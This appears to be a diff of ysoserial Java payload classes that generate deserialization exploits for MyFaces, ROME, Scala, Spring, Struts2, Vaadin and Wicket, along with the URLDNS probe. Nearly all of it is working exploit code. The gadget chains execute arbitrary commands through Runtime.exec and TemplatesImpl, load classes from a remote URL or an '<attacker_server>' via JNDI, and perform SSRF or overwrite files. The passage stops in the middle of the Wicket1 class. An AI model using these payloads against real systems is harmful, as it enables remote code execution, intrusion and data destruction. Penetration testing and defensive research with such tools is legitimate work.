* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces2.class, args);
}
}
@@ -0,0 +1,92 @@
package ysoserial.payloads;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.DefaultFunctionMapper;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.el.BeanELResolver;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.faces.context.FacesContext;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
/*
Adding this for sentimental value as this is almost the same as the first deserialization exploit I ever crafted that
led to the larger research project.
*/
@Authors({ Authors.MBECHLER, Authors.FROHOFF })
@PayloadTest(harness = "ysoserial.test.payloads.MyFacesExecTest")
public class Myfaces3 implements ObjectPayload<Object>, DynamicDependencies {
public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command);
}
public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
DefaultFunctionMapper fm = new DefaultFunctionMapper();
fm.addFunction("pwn","getRuntime", Runtime.class.getMethod("getRuntime", new Class[0]));
CompositeELResolver elResolver = new CompositeELResolver();
elResolver.add(new BeanELResolver());
FacesELContext elContext = new FacesELContext(elResolver, fc);
elContext.setFunctionMapper(fm);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext,
"#{pwn:getRuntime().exec(\"" + Gadgets.escapeForJavaString(expr) + "\")}", Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
Reflections.setFieldValue(e.getWrapped(), "fnMapper", fm);
return Gadgets.makeMap(e2, e);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces3.class, new String[] { "calc" });
}
}
@@ -1,45 +1,108 @@
package ysoserial.payloads;
import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
public interface ObjectPayload<T> {
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject(String command) throws Exception;
public T getObject ( String command ) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
Class<? extends ObjectPayload> pc = iterator.next();
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
iterator.remove();
}
}
return payloadTypes;
}
@SuppressWarnings("unchecked")
public
static Class<? extends ObjectPayload> getPayloadClass(final String className) {
@SuppressWarnings ( "unchecked" )
public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
Class<? extends ObjectPayload> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
}
if (clazz == null) {
catch ( Exception e1 ) {}
if ( clazz == null ) {
try {
return clazz = (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
return clazz = (Class<? extends ObjectPayload>) Class
.forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
}
catch ( Exception e2 ) {}
}
if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) {
if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
clazz = null;
}
return clazz;
}
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
final Object payloadObject;
try {
final ObjectPayload payload = payloadClass.newInstance();
payloadObject = payload.getObject(payloadArg);
}
catch ( Exception e ) {
throw new IllegalArgumentException("Failed to construct payload", e);
}
return payloadObject;
}
@SuppressWarnings ( "unchecked" )
public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof PostSerializeReleasable) {
((PostSerializeReleasable) payload).postSerializeRelease(object);
}
}
public static void postSerializeRelease(String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
try {
final ObjectPayload payload = payloadClass.newInstance();
postSerializeRelease(payload, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace();
}
}
public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof PostDeserializeReleasable) {
((PostDeserializeReleasable) payload).postDeserializeRelease(object);
}
}
}
}
@@ -0,0 +1,6 @@
package ysoserial.payloads;
public interface PostDeserializeReleasable<T> extends ObjectPayload<T> {
void postDeserializeRelease(T obj) throws Exception;
}
@@ -0,0 +1,5 @@
package ysoserial.payloads;
public interface PostSerializeReleasable<T> extends ObjectPayload<T> {
void postSerializeRelease(T obj ) throws Exception;
}
@@ -0,0 +1,47 @@
package ysoserial.payloads;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
@Dependencies("rome:rome:1.0")
@Authors({ Authors.MBECHLER })
public class ROME implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(ROME.class, args);
}
}
+110
View File
@@ -0,0 +1,110 @@
package ysoserial.payloads;
import scala.Function0;
import scala.Function1;
import scala.PartialFunction;
import scala.math.Ordering$;
import scala.sys.process.processInternal$;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.File;
import java.net.URL;
import java.util.Comparator;
import java.util.PriorityQueue;
/*
Two exploits using classes in the scala library.
* CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file.
Could be useful as a DoS attack by replacing some app class/war?
* Ssrf will perform a GET request to the given URL.
Requires:
org.scala-lang:scala-library
The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library.
Some slight variations will probably work with other versions.
*/
public class Scala {
private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
PartialFunction<Throwable, Object> onf = processInternal$.MODULE$.onInterrupt(exploitFunction);
Function1<Throwable, Object> f = new PartialFunction.OrElse(onf, onf);
// create queue with numbers and basic comparator
final PriorityQueue<Throwable> queue = new PriorityQueue<Throwable>(2, new Comparator<Throwable>() {
@Override
public int compare(Throwable o1, Throwable o2) {
return 0;
}
});
// stub data for replacement later
queue.add(new Exception());
queue.add(new Exception());
Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.<Throwable, Object>by(f, null));
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = new InterruptedException();
queueArray[1] = new InterruptedException();
return queue;
}
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
scala.math.Ordering$$anon$5.compare()
scala.PartialFunction$OrElse.apply()
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
java.io.FileOutputStream.<init>()
*/
@PayloadTest(harness="ysoserial.test.payloads.EmptyFileWriteTest")
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
@Authors({ Authors.JACKOFMOSTTRADES })
public static class ScalaCreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
public PriorityQueue<Throwable> getObject(final String path) throws Exception {
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
Reflections.setFieldValue(pbf, "file$1", new File(path));
Reflections.setFieldValue(pbf, "append$1", false);
return createExploit(pbf);
}
}
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
scala.math.Ordering$$anon$5.compare()
scala.PartialFunction$OrElse.apply()
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
java.net.URL.openStream()
*/
@PayloadTest(harness="ysoserial.test.payloads.SsrfTest")
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
@Authors({ Authors.JACKOFMOSTTRADES })
public static class ScalaSsrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
public PriorityQueue<Throwable> getObject(final String url) throws Exception {
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
Reflections.setFieldValue(pbf, "url$1", new URL(url));
return createExploit(pbf);
}
}
public static void main(final String[] args) throws Exception {
//PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
//PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
}
}
+10 -4
View File
@@ -10,13 +10,14 @@ import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/*
Gadget chain:
@@ -46,12 +47,14 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
*/
@SuppressWarnings({"restriction", "rawtypes"})
@SuppressWarnings({"rawtypes"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@Authors({ Authors.FROHOFF })
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
final Object templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
@@ -75,4 +78,7 @@ public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
PayloadRunner.run(Spring1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
@@ -0,0 +1,76 @@
package ysoserial.payloads;
import static java.lang.Class.forName;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* Just a PoC to proof that the ObjectFactory stuff is not the real problem.
*
* Gadget chain:
* TemplatesImpl.newTransformer()
* Method.invoke(Object, Object...)
* AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.newTransformer()
* Method.invoke(Object, Object...)
* SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)
*
* @author mbechler
*/
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies ( {
"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE",
// test deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
} )
@Authors({ Authors.MBECHLER })
public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(templates));
final Type typeTemplatesProxy = Gadgets.createProxy(
(InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
Type.class,
Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Spring2.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
@@ -0,0 +1,74 @@
package ysoserial.payloads;
import org.springframework.transaction.jta.JtaTransactionManager;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* Gadget chain:
*
* org.springframework.transaction.jta.JtaTransactionManager.readObject()
* org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager()
* org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction()
* org.springframework.jndi.JndiTemplate.lookup()
* javax.naming.InitialContext.lookup()
*
*
* Arguments:
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
*
*
* @author zerothoughts
* payload added by sciccone
*
* This gadget was discovered by zerothoughts:
* https://github.com/zerothoughts/spring-jndi
*
*/
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
@Dependencies( {
"org.springframework:spring-tx:5.1.7.RELEASE",
"org.springframework:spring-context:5.1.7.RELEASE",
"javax.transaction:jta:1.1"
} )
@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE })
public class SpringJta implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
// validate command
if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) )
throw new IllegalArgumentException("Command format is: "
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
// create object
JtaTransactionManager jta = new JtaTransactionManager();
jta.setUserTransactionName(command);
return jta;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(SpringJta.class, args);
}
// add dependencies for testing
public static String[] getDependencies () {
return new String[] {
"org.springframework:spring-tx:5.1.7.RELEASE",
"org.springframework:spring-context:5.1.7.RELEASE",
"org.springframework:spring-beans:5.1.7.RELEASE",
"org.springframework:spring-core:5.1.7.RELEASE",
"commons-logging:commons-logging:1.2",
"javax.transaction:jta:1.1"
};
}
}
@@ -0,0 +1,115 @@
package ysoserial.payloads;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import org.apache.struts2.views.jasperreports.ValueStackShadowMap;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.TextProvider;
import com.opensymphony.xwork2.config.Configuration;
import com.opensymphony.xwork2.config.ConfigurationManager;
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
import com.opensymphony.xwork2.inject.Container;
import com.opensymphony.xwork2.ognl.OgnlValueStack;
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* Gadget chain:
*
*
* java/util/HashMap<K,V>.readObject(ObjectInputStream)
* java/util/HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap<K,V>).equals(Object)
* org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String)
* com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression
*
* Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack)
*
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* TemplatesImpl.defineTransletClasses()
* TemplatesImpl.TransletClassLoader.defineClass()
* Pwner*(Javassist-generated).<static init>
* Runtime.exec()
*
*
* @author sciccone
*
*/
@SuppressWarnings({ "unchecked" })
@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest")
@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } )
@Authors({ Authors.SCICCONE })
public class Struts2JasperReports implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
// create required objects via reflection
Constructor<XWorkConverter> c1 = XWorkConverter.class.getDeclaredConstructor();
Constructor<OgnlValueStack> c2 = OgnlValueStack.class.getDeclaredConstructor(
XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class);
c1.setAccessible(true);
c2.setAccessible(true);
XWorkConverter xworkConverter = c1.newInstance();
OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true);
// inject templateImpl with embedded command
ognlValueStack.set("template", Gadgets.createTemplatesImpl(command));
// create shadowMaps
ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack);
ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack);
// execute OGNL "(template.newTransformer()) upon deserialisation
String keyExpression = "(template.newTransformer())";
shadowMap1.put(keyExpression, null);
shadowMap2.put(keyExpression, null);
return Gadgets.makeMap(shadowMap1, shadowMap2);
}
public static void main ( final String[] args ) throws Exception {
initializeThreadLocalMockContainerForTesting();
PayloadRunner.run(Struts2JasperReports.class, args);
}
/**
* Create mock container and mock actionContext,
* since a context is required for the payload being triggered upon deserialisation.
* Simulates an Apache Struts2 app up and running.
*/
public static void initializeThreadLocalMockContainerForTesting() {
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
Configuration config = configurationManager.getConfiguration();
Container container = config.getContainer();
HashMap<String, Object> context = new HashMap<String, Object>();
context.put(ActionContext.CONTAINER, container);
ActionContext.setContext(new ActionContext(context));
}
// add dependencies for testing a mock struts2 app
public static String[] getDependencies () {
return new String[] {
"org.apache.struts:struts2-core:2.5.20",
"org.apache.struts:struts2-jasperreports-plugin:2.5.20",
"org.apache.logging.log4j:log4j-api:2.11.1",
"ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1",
"javassist:javassist:3.12.1.GA"
};
}
}
@@ -0,0 +1,87 @@
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(harness="ysoserial.test.payloads.DnsLookupTest")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
@@ -0,0 +1,82 @@
package ysoserial.payloads;
import javax.management.BadAttributeValueExpException;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Authors({ Authors.KULLRICH })
public class Vaadin1 implements ObjectPayload<Object>
{
// +-------------------------------------------------+
// | |
// | BadAttributeValueExpException |
// | |
// | val ==> PropertysetItem |
// | |
// | readObject() ==> val.toString() |
// | + |
// +----------|--------------------------------------+
// |
// |
// |
// +----|-----------------------------------------+
// | v |
// | PropertysetItem |
// | |
// | toString () => getPropertyId().getValue () |
// | + |
// +---------------------------------------|------+
// |
// +-----------------------------+
// |
// +-----|----------------------------------------------+
// | v |
// | NestedMethodProperty |
// | |
// | getValue() => java.lang.reflect.Method.invoke () |
// | | |
// +-------------------------------------------|--------+
// |
// +-----------------------------------+
// |
// +---|--------------------------------------------+
// | v |
// | TemplatesImpl.getOutputProperties() |
// | |
// +------------------------------------------------+
@Override
public Object getObject (String command) throws Exception
{
Object templ = Gadgets.createTemplatesImpl (command);
PropertysetItem pItem = new PropertysetItem ();
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
pItem.addItemProperty ("outputProperties", nmprop);
BadAttributeValueExpException b = new BadAttributeValueExpException ("");
Reflections.setFieldValue (b, "val", pItem);
return b;
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Vaadin1.class, args);
}
}
@@ -0,0 +1,115 @@
package ysoserial.payloads;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
import org.apache.commons.codec.binary.Base64;
import org.apache.wicket.util.upload.DiskFileItem;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.io.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* This gadget is almost identical to FileUpload1 since it appears
* that Apache Wicket copied a version of Apache Commons DiskFileItem
* prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That
* means that if the target is running less than Oracle Java 7 update 40
* then the NULL byte attack is viable. Otherwise, copy and move attacks
* always work.
*
* This attack is valid for the 1.x and 6.x lines of Apache Wicket but
* was fixed in 1.5.16 and 6.24.0 (released July 2016).
*
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Example:
* Wicket1 "write;/tmp;blue lobster"
*
* Result:
* $ ls -l /tmp/
* -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* blue lobster
*/
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
@Authors({ Authors.JACOBAINES })
public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
public DiskFileItem getObject(String command) throws Exception {
String[] parts = command.split(";");
if (parts.length != 3) {
throw new IllegalArgumentException("Bad command format.");
}
if ("copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
}
else if ("write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes("US-ASCII"));
}
else if ("writeB64".equals(parts[0]) ) {
return write(parts[1], Base64.decodeBase64(parts[2]));
}
else if ("writeOld".equals(parts[0]) ) {
return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII"));
}
else if ("writeOldB64".equals(parts[0]) ) {
